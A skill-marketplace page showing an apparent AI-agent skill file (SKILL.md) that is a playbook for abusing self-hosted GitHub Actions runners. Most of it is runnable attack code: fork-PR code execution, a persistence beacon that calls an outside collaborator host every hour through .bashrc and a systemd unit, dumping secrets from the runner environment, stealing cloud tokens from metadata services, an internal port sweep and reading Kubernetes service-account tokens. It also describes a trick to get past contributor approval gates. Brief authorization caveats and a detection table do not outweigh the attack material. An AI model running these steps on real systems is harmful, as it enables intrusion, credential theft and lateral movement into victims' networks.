Skip to main content

self-hosted-runner-abuse

Self-hosted runner abuse — non-ephemeral runner persistence, fork-PR job execution on self-hosted, runner-label targeting, secret/token theft from runner env, lateral movement from runner into internal network and cloud metadata services.

설치로 이동

소스 정보

저장소
BitterSecurity/Decepticon
최근 소스 활동
2026년 6월 1일 23:04
감지된 SKILL.md 언어
영어
스타
5,611
포크
1,061

설치 방법

기본적으로 소스를 먼저 확인하는 Prompt가 선택됩니다. 직접 명령으로 전환하거나 로컬 사본을 다운로드할 수도 있습니다.

소스 파일 검토

설치 여부를 결정하기 전에 SKILL.md와 SkillsMP에 표시된 보조 파일을 읽어 보세요.

SKILL.md 표시 중

SKILL.md
소스 지침 · 읽기 전용 미리보기
name
self-hosted-runner-abuse
description
Self-hosted runner abuse — non-ephemeral runner persistence, fork-PR job execution on self-hosted, runner-label targeting, secret/token theft from runner env, lateral movement from runner into internal network and cloud metadata services.
allowed-tools
Bash Read Write
metadata
{"subdomain":"execution","when_to_use":"self-hosted runner github actions runner gitlab runner persistence lateral movement imds metadata internal network ephemeral runner label","tags":"ci-cd, self-hosted-runner, persistence, lateral-movement","mitre_attack":"T1078.004, T1133, T1554, T1021"}
# Self-Hosted Runner Abuse Self-hosted runners are attacker dreams: long-lived machines inside the target's network, with the build user's filesystem, often persistent between jobs, frequently reachable to internal services and cloud metadata. **Default GitHub policy on public repos is to NOT run workflows from first-time contributors without approval — but the gate is per-repo and frequently relaxed.** ## Recon — does the target use self-hosted? ```bash # 1. Workflow labels grep -rnE 'runs-on:\s*(\[\s*self-hosted|self-hosted)' <REPO>/.github/workflows/ # 2. Custom labels signal self-hosted runners ("linux-large", "internal", "gpu-a100") grep -rnE 'runs-on:\s*\[?[a-z0-9_-]+' <REPO>/.github/workflows/ \ | grep -vE 'ubuntu-(latest|20|22|24)|windows-(latest|20)|macos-(latest|13|14)' # 3. Public run history reveals runner hostnames gh run list --repo <OWNER>/<REPO> --limit 20 --json databaseId,name | jq -r '.[].databaseId' \ | while read id; do gh run view "$id" --repo <OWNER>/<REPO> --log 2>/dev/null \ | grep -iE 'Runner name|Runner group|Machine name'; done | sort -u # 4. Org-level runner registrations (auth required, but org members often have read) gh api "orgs/<OWNER>/actions/runners" --jq '.runners[] | {name,os,status,labels:[.labels[].name]}' ``` ## Default vs ephemeral | Mode | Behavior | Attacker upside | |---|---|---| | **Default (non-ephemeral)** | Same VM/container picks up the next job. `/home/runner/work/_temp/`, `~/.cache`, env from prior jobs may persist. | Persist files; reuse leaked creds; race the next job | | **Ephemeral** (`--ephemeral`) | Runner exits after one job; VM is destroyed | Per-job isolation; persistence requires escape to host | | **`actions/runner-images` self-hosted on K8s with ARC** | Pod per job, but cluster identity (`ServiceAccount`) is shared | Pivot to cluster API via projected token | ```bash # Inside a job — fingerprint the runner uname -a; id; whoami mount | grep -E '/home|/runner|overlay' ls -la /actions-runner /home/runner /opt/actions-runner 2>/dev/null env | grep -E 'RUNNER_|GITHUB_' | head # Ephemeral runners typically have RUNNER_TEMP wiped; non-ephemeral have leftover dirs ls -la "$RUNNER_TEMP/.." 2>/dev/null ``` ## Fork-PR execution on self-hosted ```yaml # DANGEROUS — fork PRs run on the org's self-hosted fleet on: pull_request jobs: test: runs-on: [self-hosted, linux, internal] steps: - uses: actions/checkout@v4 - run: make test ``` If the repo did not enable "Require approval for all outside collaborators", a fork PR with a poisoned `Makefile` (see `poisoned-pipeline-execution/SKILL.md`) gives RCE on the internal runner. **First-time-contributor approval is also bypassable**: contribute a trivial PR first, get it merged, then weaponize subsequent PRs as a returning contributor. ## Persistence on non-ephemeral runners ```bash # In the malicious job step RUNNER_BIN="$(dirname "$(which Runner.Listener 2>/dev/null || echo /actions-runner/run.sh)")" echo "Found runner at: $RUNNER_BIN" # 1. Drop a payload in a path the runner sources before next job mkdir -p "$HOME/.config" cat > "$HOME/.config/runner-helper.sh" <<'EOF' # Beacon — runs as the runner user on next shell-step entry nohup bash -c 'while true; do curl -s "https://<COLLAB>/beacon/$(hostname)"; sleep 3600; done' &>/dev/null & EOF # 2. Hook into bash via runner user's .bashrc — works for any step using a login shell grep -q runner-helper "$HOME/.bashrc" || echo 'source "$HOME/.config/runner-helper.sh"' >> "$HOME/.bashrc" # 3. systemd --user unit (if lingering enabled) mkdir -p "$HOME/.config/systemd/user" cat > "$HOME/.config/systemd/user/beacon.service" <<'EOF' [Unit] Description=research beacon [Service] ExecStart=/usr/bin/curl -s https://<COLLAB>/svc/%H Restart=always [Install] WantedBy=default.target EOF systemctl --user daemon-reload && systemctl --user enable --now beacon.service 2>/dev/null || true ``` **Stop**. In an authorized engagement, set the beacon TTL to one hit and document removal steps. Persistence proves the capability; do not actually persist. ## Token / secret theft from runner env ```bash # All secrets used in the current job are in env vars or files actions wrote env | grep -iE 'token|secret|password|key|aws_|gcp_|azure_|registry|npm_' | head ls -la "$RUNNER_TEMP" "$HOME/.docker" "$HOME/.aws" "$HOME/.kube" 2>/dev/null # GITHUB_TOKEN is mounted in env and as `.credential` for git cat "$HOME/work/_temp/_github_workflow/event.json" 2>/dev/null | head -20 git config --global --get-all credential.helper # Other jobs' artifacts may still be on disk on non-ephemeral runners find / -name 'event.json' -path '*_github_workflow*' 2>/dev/null find /tmp /var/tmp "$RUNNER_TEMP/.." -type f -newer /etc/hostname 2>/dev/null | head -50 ``` Cross-reference `cicd-secrets-exfil/SKILL.md` for masking-bypass and OIDC exchange once a token is in hand. ## Lateral movement from the runner ```bash # 1. Cloud metadata — runner is almost always on EC2/GCE/Azure VM curl -sH 'Metadata-Token: required' http://169.254.169.254/latest/meta-data/ # AWS IMDSv1 (often allowed even when v2 enforced for users) TOKEN=$(curl -sX PUT -H 'X-aws-ec2-metadata-token-ttl-seconds: 60' http://169.254.169.254/latest/api/token) curl -sH "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/ curl -s -H 'Metadata-Flavor: Google' 'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token' curl -sH 'Metadata: true' 'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/' # 2. Internal network — runner is often on a private VPC subnet with reach to staging/prod ip route; cat /etc/resolv.conf # Quick TCP sweep with bash builtins (no nmap install needed) for ip in 10.0.0.{1..20}; do for p in 22 80 443 5432 6379 8080 9090; do (echo >/dev/tcp/$ip/$p) 2>/dev/null && echo "$ip:$p open" done done # 3. Kubernetes ServiceAccount (ARC / self-hosted on K8s) ls /var/run/secrets/kubernetes.io/serviceaccount/ 2>/dev/null cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null | cut -c1-12 ``` ## Runner-label targeting If the org has a label `gpu-a100` mapped to a specific physical host, crafting a workflow with `runs-on: [self-hosted, gpu-a100]` pins your job to that host. Useful to: - Target a specific build operator's machine (developer workstation runners are a pattern in some orgs). - Land on a runner with weaker egress controls (e.g. `windows-build-old` left from a migration). ```yaml # Reachability test — does the org let arbitrary fork-PRs target privileged labels? on: pull_request jobs: pin: runs-on: [self-hosted, prod-deploy] steps: [{ run: 'hostname; id; env | grep -i deploy' }] ``` ## Detection signatures | Signal | Source | |---|---| | Outbound DNS/HTTP from runner to non-allowlisted host | egress firewall / Suricata | | New `~/.bashrc` / systemd user unit on a non-ephemeral runner | host EDR (osquery, Falco) | | `runs-on:` self-hosted + `on: pull_request` (not `pull_request_target` w/ approval) | zizmor / octoscan | | First-time-contributor PR approved + immediate follow-up PR | GitHub Insights / org-level review | | IMDS access from a runner's job | VPC flow logs / cloud audit | ## Tools | Tool | Use | |---|---| | `gato-x runners` | Enumerates self-hosted runners across an org, identifies PPE targets | | `octoscan` | Flags self-hosted + untrusted-trigger combinations | | `runner-images` (GitHub) | Compare against the official ephemeral image to spot persistence diffs | | `osquery` / `falco` | Defender-side; useful to know what they see | ## Decision gate 1. Self-hosted runner engagements have higher blast radius than hosted — get explicit written authorization for **lateral movement** and **metadata access**, not just CI execution. 2. Do not exfil cloud creds. `curl -s 169.254.169.254/.../security-credentials/` and **print first 8 chars only**. 3. Remove any persistence (`.bashrc` entry, systemd unit, dropped files) before declaring done. Include cleanup commands in the report. 4. Never pivot to a machine outside the runner's subnet without separate authorization. ## References - GitHub docs — "About self-hosted runners" (limitations + warnings) - Praetorian — "Self-Hosted GitHub Runners Are Backdoors" - Adnan Khan — runner-takeover writeups (Tesla, Microsoft, et al.) - `actions-runner-controller` (ARC) — ephemeral runner pattern on K8s
GitHub에서 보기